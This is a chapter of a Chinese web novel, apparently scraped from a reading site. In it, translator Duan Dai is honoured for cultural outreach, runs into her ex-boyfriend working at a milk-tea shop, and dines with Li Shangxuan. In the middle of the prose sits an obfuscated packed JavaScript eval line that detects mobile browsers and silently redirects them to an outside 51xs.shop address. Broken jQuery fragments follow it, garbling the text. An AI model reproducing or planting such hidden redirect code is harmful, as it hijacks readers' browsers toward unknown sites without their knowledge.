文化自信使者，大概是十几年前提出文化自信的要求后设置的一个称号，用来表彰为弘扬传播中华传统文化做出杰出贡献的个人或集体，每年有十个名额。凤姿龙章公司在几年前因为致力于网文出海而获得了这个称号。
获得这个称号的大多是非遗传承人与文化工作者。而段黛因为辅助训练了翻译模型，助力大量网文向海外传播，也被授予了这个称号。
整个临译社在看到消息后都吃了一惊，毕竟段黛投资凤姿龙章并参与线上事务处理的事情没有跟任何人说过，就连关月兰都不知道她还趁着空闲的时候把中文的网文翻译成了英文。
称号授予并不需要前往外地领奖，但官方会来到被授予称号的使者家附近录制与文化传播相关的采访片段。段黛身为翻译，采访自然要来她常年合作的出版社。
段黛先记者一步来到办公室时，一群人唰的一下都围了过来：“段老师，你真是闷声干大事啊！”
段黛笑道：“我也不知道随手做的事情居然能获奖……”
关月兰啧啧啧几声：“段黛大帝，你还有多少惊喜是朕不知道的？”
记者们先在临译社采访了一下编辑们对段黛的看法。关月兰身为责编被簇拥着，在镜头前夸赞段黛工作非常认真——“是临译社要给她单独列出版计划的程度”。
接着记者们又去了段黛的家里，观看她日常工作的地方。段黛给他们展示了自己的书房，众人纷纷感慨，不愧是文字工作者。
随着采访视频在网上的公开，前段日子因为各种事情而关注段黛的网友们沸腾了。段黛的手机收到无数条消息，认识的不认识的朋友同学都向她发来祝贺。
黎尚轩看到通知后给段黛发了好几个表情包：【恭喜！】
黎尚轩：【这个必须得好好庆祝一下，正好客户送了我两张餐厅的劵，今晚有空吗？明天后天也都可以。】
段黛：【行！正好我也交稿了，今晚去吧。】
黎尚轩：【坐我车吧，方便一些。】
黎尚轩像往常一样，接上段黛后出发去了餐厅。下车时他看到前面有家名叫“茶魔”的奶茶店，转头问段黛：“没想到茶魔也开到临安来了。要不要先去买两杯喝的？”
段黛看到那个只在网上见过的logo时也有些吃惊。去年陈方烨说要把林深一步到位开边全国的时候，曾把创立于商申市的茶魔和创立于秣陵市的Season列为竞争对手。现在Season已经遍布全国了，而茶魔也在临安冒了头。
到头来只有林深没了啊。
她点了点头：“好啊。”
下车后黎尚轩拎着段黛的包，两人一起走向店铺。门一推开，段黛听到一个熟悉的声音：“欢迎光临茶魔——”
不过段黛并没有追究这个声音的主人到底是谁。她扫了一下墙上的点单码，对黎尚轩道：“你想喝什么？”
站在柜台后摇奶茶的陈方烨在看到段黛的瞬间白了脸。他现在穿着茶魔的工作服，为了防止有头发掉进奶茶里，他的头上还戴着一顶滑稽的帽子。因为在店里忙了一天，又是打单子又是做奶茶的，现在的陈方烨一脸疲惫。
没想到在这么狼狈的时候会碰到段黛啊！
然而段黛对此无知无觉，根本就没发现刚才对她说欢迎光临的员工就是她的前男友。她转头对黎尚轩道：“最近事情还挺多的，我有好一段时间没休息了……”
黎尚轩反而发现了目瞪口呆的陈方烨。他的嘴角微微上扬，对着陈方烨露出了一个意味深长的笑容。
陈方烨的心里更加翻江倒海了，怎么会先让他看到啊！
黎尚轩当然也察觉到了陈方烨的局促，不由得扬起了嘴角。他倒是没有直接跟段黛说什么，而是继续接她的话：“你的那个休息，还是指继续翻译吗？”
段黛浑然不觉：“是啊。”
黎尚轩：“……你那哪叫休息，分明是换了个工作类型吧。”
段黛理直气壮：“工作是英语和法语翻译，休息是日语翻译，还是不一样的。”
陈方烨的瞳孔微微放大了。
日语？
段黛不是英语法语翻译吗，怎么还有日语？
段黛选了一个奶茶，选好甜度和温度后把手机递给了黎尚轩：“你看你喝哪个？”
黎尚轩却走到点单台前：“既然都来了，那就现点好了。您好？”
他笑眯眯地看着陈方烨。还在思索段黛和日轻有什么关系的陈方烨猛地抬起头来，对上了他那有些不怀好意的眼睛：“……您好。”
黎尚轩：“请问你们这里有□□捏捏好喝到咩噗茶吗？”
陈方烨：“……啊？”
下完单的段黛听到黎尚轩说这话时有些奇怪，她一脸好笑地抬头：“你怎么突然说话这么机车……哎呦。”
段黛终于看清了陈方烨的脸，登时一脸意外：“陈方烨？你怎么在这？”
他一定是故意的！陈方烨颇有些怨恨地瞪了黎尚轩一眼，尴尬道：“……真巧啊。”
段黛看着一身茶魔工作服的陈方烨，感觉非常不可思议：“你……在这工作？”
虽然经常能看到小说电视剧里有反派破产后只能扫大街的桥段，但陈方烨最后剩下的债务不算多，他自身也有学历条件和工作经验，按理说找一份专业对口且高薪的工作是不难的。
怎么会来这做奶茶啊？
陈方烨确实不至于沦落到只能来奶茶店打工的程度。茶魔入驻浙省扩张店面，陈方烨应聘后成为了临安市的地区经理。不过茶魔要求所有员工都必须有基层工作经历，以便于更好地做决策和管理。于是陈方烨入职的第一个月就是在各个门店做店员，接单并制作奶茶。
黎尚轩道：“说不定陈先生是经理之类的，来门店考察呢。”
“……”
陈方烨刚想辩解又被停住了。他如果说对就是他说的这样，那听起来有种欲盖弥彰的感觉，反倒更不好说了。
就在陈方烨几乎快要原地爆炸的时候，黎尚轩又道：“毕竟陈总以前可是当老板的，现在怎么可能只是在这做奶茶呢？”
陈方烨：“……”
段黛转头看向他：“我记得茶魔有新员工去基层门店的传统，你应该也是吧？”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963931|139721||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
她的神色坦然，没有什么幸灾乐祸或是落井下石的意思。陈方烨心情复杂，“嗯”了一声：“我现在是临安市的地区经理。”
段黛点了点头：“那还不错。”
说着她转头对黎尚轩道：“你也赶紧点吧，之后我们要上去吃饭呢。”
“哎好……”
黎尚轩打开手机点了单，旁边的机器立刻响应，吐出一个单子。
陈方烨：“……”
所以他其实是可以用小程序点单的是吧。
平时门店里还会有一个员工的，但是那个员工去吃饭了，因此只剩陈方烨一个店员在，所以段黛和黎尚轩的奶茶也只能由他来做。段黛点完单之后就到旁边的座位上坐下了，但黎尚轩还站在台子旁边，认真地看着陈方烨从各种各样的桶里打出奶茶来。
“我的是五分糖，她的是三分糖，别搞错了哦。”
“我们俩都是大杯。”
“对了，陈先生可以做一下奶茶侠吗？偷偷给我们装很多小料那种。”
陈方烨被他盯得如芒刺背，本来话很多的他现在只想赶紧做完把这两尊大佛送走。他强行挂着笑容，把做好的奶茶向前推：“你们的奶茶好了。”
黎尚轩：“可以帮我们打包吗？我们两个的装一起就好。”
段黛对此哭笑不得：“好了，咱们走吧。”
陈方烨麻木地展开一个纸袋子，把两杯奶茶塞到杯托上后装了进去。黎尚轩拎起袋子：“其实先放杯托再放奶茶会好装一些……”
陈方烨：“……”
这两人离开了店铺，陈方烨乱七八糟的大脑重新冷静了下来。他回想起方才他们聊的——段黛也翻译日语。
他不可避免地想到了那个曾被他视为救命稻草的世界读书日联名。那时被认为最有可能合作的作品拒绝了林深的联名，而现在那部作品越来越火，已经和其他产品搭上了，各种周边买的一茬接一茬的。
所以，自己当初联名失败，到底有没有段黛从中作梗？
段黛并不在乎陈方烨现在过的如何，两道菜端上来之后她就把人忘在脑后了，只顾着和黎尚轩一起吃东西了。黎尚轩带她来的是一家港式茶餐厅，每道菜的味道不错，就是量有点少。
“……之前一直听说你可能会有一个亚洲女性力量奖，没想到先来的是这个。”
段黛笑道：“我也挺吃惊的，完全没想到呢。”
黎尚轩思考片刻，道：“感觉以后你获得的奖项会越来越多。”
段黛：“那借你吉言，我应该思考一下怎么收纳了。”
黎尚轩莞尔：“幸好我早有预料。你的书架宽度我是计算过的，在书本前面正好可以再放一些小摆件，到时候直接把奖杯之类的东西放到前面就好了。”
段黛一脸惊奇：“这你都想到了……”
搁置在一边的手机忽然亮了起来，段黛一直在吃东西，倒是没分出精力去看，所以也不知道是许久没联系的邓辞发来的消息。
邓辞：【恭喜啊，这个称号含金量还挺高的。】
邓辞：【对了，你知道鹿颖回来了吗？】